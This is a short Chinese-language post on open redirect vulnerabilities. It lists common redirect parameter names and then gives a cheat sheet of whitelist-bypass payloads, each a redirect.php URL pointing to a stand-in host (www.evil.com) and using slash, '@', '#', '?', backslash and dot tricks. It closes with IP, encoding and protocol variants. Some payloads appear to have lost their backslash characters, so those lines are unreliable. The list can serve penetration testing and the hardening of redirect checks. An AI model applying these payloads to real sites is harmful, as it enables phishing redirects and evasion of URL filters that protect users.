IT小丑:
但凡传递URL参数的地方均有可能存在问题,常见的URL参数梳理如下:go、return、returnTo、logout、register、login、returnUrl、path、redirectURI、redir、returl share、wap、url、link、src、source、target、u、3、display、sourceURl、imageURL、domain。具体是哪个参数,取决于天马行空的程序员,但是如果看到某个请求中含有http://|https://开头的内容,不妨尝试替换一下。
另外,某些情形下,可能对域名做了限制,这时候可以尝试绕过,这里绕过的技巧类似URL重定向绕过或SSRF绕过技巧。主要说一下畸形构造绕过,当然也可以Fuzzing,畸形构造主要涉及如下字符:";"、 "/"、""、"?"、":"、"@"、"="、"&"、"."。常见bypass方式:
a. 单斜线"/"绕过
https://www.xxx.com/redirect.php?url=/www.evil.com
b. 缺少协议绕过
https://www.xxx.com/redirect.php?url=//www.evil.com
c. 多斜线"/"前缀绕过
https://www.xxx.com/redirect.php?url=///www.evil.com
https://www.xxx.com/redirect.php?url=www.evil.com
d. 利用"@"符号绕过
https://www.xxx.com/redirect.php?url=https://www.xxx.com@www.evil.com
e. 利用反斜线""绕过
https://www.xxx.com/redirect.php?url=https://www.evil.comhttps://www.xxx.com/
f. 利用"#"符号绕过
https://www.xxx.com/redirect.php?url=https://www.evil.com#https://www.xxx.com/
g. 利用"?"号绕过
https://www.xxx.com/redirect.php?url=https://www.evil.com?www.xxx.com
h. 利用"\"绕过
https://www.xxx.com/redirect.php?url=https://www.evil.com\www.xxx.com
i. 利用"."绕过
https://www.xxx.com/redirect.php?url=.evil
https://www.xxx.com/redirect.php?url=.evil.com
j.重复特殊字符绕过
https://www.xxx.com/redirect.php?url=///www.evil.com//..
https://www.xxx.com/redirect.php?url=www.evil.com//..
其他常见的绕过方式还有,使用地址,而不是域名;使用跳转到IPV6地址,而不是IPv4地址;用10进制、8进制、16进制形式表示;更换协议,使用ftp、gopher协议等;